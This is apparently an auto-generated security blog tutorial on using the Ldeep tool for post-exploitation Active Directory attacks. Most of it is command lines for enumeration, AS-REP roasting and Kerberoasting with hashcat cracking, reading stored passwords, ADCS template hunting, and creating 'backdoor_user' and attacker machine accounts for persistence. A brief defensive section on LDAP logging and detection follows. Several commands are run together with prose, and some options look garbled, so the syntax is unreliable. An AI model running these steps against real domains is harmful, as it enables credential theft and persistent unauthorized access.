Listen to this Post
Introduction:
Active Directory (AD) remains the primary target for red teams and attackers due to its centralized control over user authentication, access policies, and network resources. Ldeep is a lightweight, Python-based LDAP enumeration tool designed for post-exploitation scenarios, enabling security professionals to extract users, groups, computers, delegation settings, misconfigurations, and even perform Kerberos attacks like AS-REP Roasting and Kerberoasting after gaining authenticated access to an AD environment.
Learning Objectives:
- Understand how to install, configure, and execute Ldeep for comprehensive Active Directory LDAP enumeration.
- Perform advanced reconnaissance including GPO analysis, gMSA credential extraction, ADCS certificate enumeration, and account privilege abuse.
- Learn defensive countermeasures and query-based hunting techniques to detect LDAP enumeration activities.
You Should Know:
1. Installing and Configuring Ldeep for AD Reconnaissance
Ldeep is available via Python pip and requires valid domain credentials to perform LDAP queries. Before enumerating, ensure you have a foothold with a domain user account.
Step-by-step guide:
1. Install Ldeep on Linux (attacker machine):
sudo apt update && sudo apt install python3-pip -y pip3 install ldeep Verify installation ldeep --help
2. Install on Windows (using Python):
pip install ldeep
3. Basic connection syntax:
ldeep ldap -u DOMAIN\username -p 'password' -d dc.domain.local ldap://dc_ip
4. Test connectivity:
ldeep ldap -u corp\jdoe -p 'P@ssw0rd' -d dc.corp.local ldap://192.168.1.10 -q "(&(objectClass=user))" | head -5
- Enumerating Users, Groups, and Computers for Attack Surface Mapping
Ldeep simplifies extracting all AD objects that attackers typically target for lateral movement and privilege escalation.
Step-by-step guide:
- List all domain users (potential AS-REP Roast targets):
ldeep user -u DOMAIN\user -p 'pass' -d dc.domain.local ldap://dc_ip --list
- Find high-value groups (Domain Admins, Enterprise Admins):
ldeep group -u DOMAIN\user -p 'pass' -d dc.domain.local ldap://dc_ip --name "Domain Admins" --members
- Enumerate all computer objects:
ldeep computer -u DOMAIN\user -p 'pass' -d dc.domain.local ldap://dc_ip --list --os
- Extract user attributes including `userPassword` (if stored in clear text – misconfiguration):
ldeep user -u DOMAIN\user -p 'pass' -d dc.domain.local ldap://dc_ip --attribute userPassword
- Kerberos Attacks: AS-REP Roasting and Kerberoasting Using Ldeep
Ldeep automates the discovery of accounts with Kerberos pre-authentication disabled (AS-REP roastable) and service accounts with SPNs (Kerberoastable).
Step-by-step guide:
- Find AS-REP roastable users (no pre-auth required):
ldeep kerberos -u DOMAIN\user -p 'pass' -d dc.domain.local ldap://dc_ip --asreproast > asrep_hashes.txt Crack with hashcat -m 18200
- Enumerate SPNs for Kerberoasting:
ldeep kerberos -u DOMAIN\user -p 'pass' -d dc.domain.local ldap://dc_ip --kerberoast > spn_hashes.txt Crack with hashcat -m 13100
- List all domain admins for targeting:
ldeep user -u DOMAIN\user -p 'pass' -d dc.domain.local ldap://dc_ip --filter "(&(objectClass=user)(memberOf=CN=Domain Admins,CN=Users,DC=domain,DC=local))"
- Delegation, GMSA, and GPO Enumeration for Privilege Escalation
Unconstrained delegation, resource-based constrained delegation, and Group Policy Objects (GPOs) are common misconfigurations. Ldeep helps identify them.
Step-by-step guide:
- Find computers/users with unconstrained delegation:
ldeep delegation -u DOMAIN\user -p 'pass' -d dc.domain.local ldap://dc_ip --unconstrained
- Enumerate gMSA accounts and their associated AD objects:
ldeep gmsa -u DOMAIN\user -p 'pass' -d dc.domain.local ldap://dc_ip --list
- Extract GPOs and linked OUs:
ldeep gpo -u DOMAIN\user -p 'pass' -d dc.domain.local ldap://dc_ip --list --links
- Check for machine account creation rights (potential for resource-based delegation attacks):
ldeep acl -u DOMAIN\user -p 'pass' -d dc.domain.local ldap://dc_ip --rights "CreateChild" --object machine
- Active Directory Certificate Services (ADCS) and Schema Enumeration
ADCS misconfigurations (ESC1-ESC8) are prevalent. Ldeep can enumerate certificate templates and CA servers.
Step-by-step guide:
- List all Certificate Authorities and templates:
ldeep adcs -u DOMAIN\user -p 'pass' -d dc.domain.local ldap://dc_ip --list-cas ldeep adcs -u DOMAIN\user -p 'pass' -d dc.domain.local ldap://dc_ip --list-templates
- Find vulnerable templates allowing domain authentication:
ldeep adcs -u DOMAIN\user -p 'pass' -d dc.domain.local ldap://dc_ip --vuln-templates
- Enumerate AD schema version and important classes:
ldeep schema -u DOMAIN\user -p 'pass' -d dc.domain.local ldap://dc_ip --list
- Active Account Manipulation: Creating Machine/User Accounts and Unlocking Accounts
Post-exploitation often requires creating new accounts to maintain persistence or bypass restrictions. Ldeep supports LDAP modifications.
Step-by-step guide:
- Create a new machine account (useful for RBCD attacks):
ldeep machine -u DOMAIN\admin -p 'pass' -d dc.domain.local ldap://dc_ip --create "ATTACKER-PC" --password "TempPass123"
- Create a new domain user:
ldeep user -u DOMAIN\admin -p 'pass' -d dc.domain.local ldap://dc_ip --create "backdoor_user" --password "Evil@123" --ou "CN=Users,DC=domain,DC=local"
- Unlock a locked user account (privilege abuse):
ldeep user -u DOMAIN\admin -p 'pass' -d dc.domain.local ldap://dc_ip --unlock "victim_user"
- Disable or enable a user:
ldeep user -u DOMAIN\admin -p 'pass' -d dc.domain.local ldap://dc_ip --disable "target_user"
- Defensive Detection and Mitigation Commands (Windows / Linux)
Blue teams can detect Ldeep-like LDAP enumeration using event logs and network monitoring.
Step-by-step guide (Defensive):
- On Domain Controller – Enable LDAP logging:
Windows: Enable diagnostic logging for LDAP wevtutil set-log "Directory Service" /enabled:true wevtutil set-log "Directory Service" /retention:false /maxsize:1073741824 Monitor event ID 2889 (LDAP query from client) Get-WinEvent -LogName "Directory Service" | Where-Object {$_.Id -eq 2889} - Detect unusual LDAP filter patterns (e.g.,
objectClass=,userPassword=):Get-WinEvent -FilterHashtable @{LogName='Directory Service'; ID=2889} | Where-Object {$_.Message -match "userPassword"} - Linux-based detection using tcpdump on LDAP ports (389/636):
sudo tcpdump -i eth0 port 389 or port 636 -A -c 100 | grep -E "(objectClass|userPassword|memberOf)"
- Monitor for anomalous machine account creations (Event ID 4741):
Get-WinEvent -FilterHashtable @{LogName='Security'; ID=4741} | Format-List
What Undercode Say:
- Key Takeaway 1: Ldeep provides a unified, lightweight interface for nearly all AD LDAP enumeration tasks, outperforming manual `ldapsearch` scripts and reducing operational friction during red team engagements.
- Key Takeaway 2: Defenders must monitor for high‑volume LDAP queries, suspicious attribute requests (e.g.,
userPassword,dBCSPwd), and unusual account creation events—Ldeep’s low footprint makes it stealthy but not invisible.
The rise of lightweight tools like Ldeep signals a shift away from heavy frameworks like BloodHound for quick, targeted enumeration. However, BloodHound’s graph visualization remains superior for mapping complex attack paths. Ldeep excels in automation – for instance, chaining `ldeep kerberos –asreproast` with `hashcat` and `ldeep user –create` for persistence can be fully scripted. Attackers will increasingly use LDAP‑only tools to evade EDRs that monitor PowerShell and .NET assemblies. Blue teams should adopt LDAP query auditing, deploy honeytokens in AD attributes, and enforce LDAP signing and channel binding to prevent replay and man‑in‑the‑middle attacks. The tool also highlights the importance of removing legacy LDAP simple binds and migrating to Kerberos with AES encryption.
Prediction:
Within the next 12–18 months, we will see a surge in “living off the land” LDAP enumeration using legitimate Python libraries (like `ldap3` and ldeep) that bypass application allowlisting. Microsoft will likely introduce stricter LDAP signing defaults and new Audit‑only modes for unencrypted binds. Additionally, AI‑driven SOC analytics will start detecting behavioral anomalies based on LDAP filter entropy, making tools like Ldeep less effective unless combined with deep domain knowledge and slow, manual query patterns. Red teams will shift to using Ldeep in conjunction with GRC tools to justify compliance-driven security improvements.
▶️ Related Video (86% Match):
🎯Let’s Practice For Free:
IT/Security Reporter URL:
Reported By: Active Directory – Hackers Feeds
Extra Hub: Undercode MoN
Basic Verification: Pass ✅
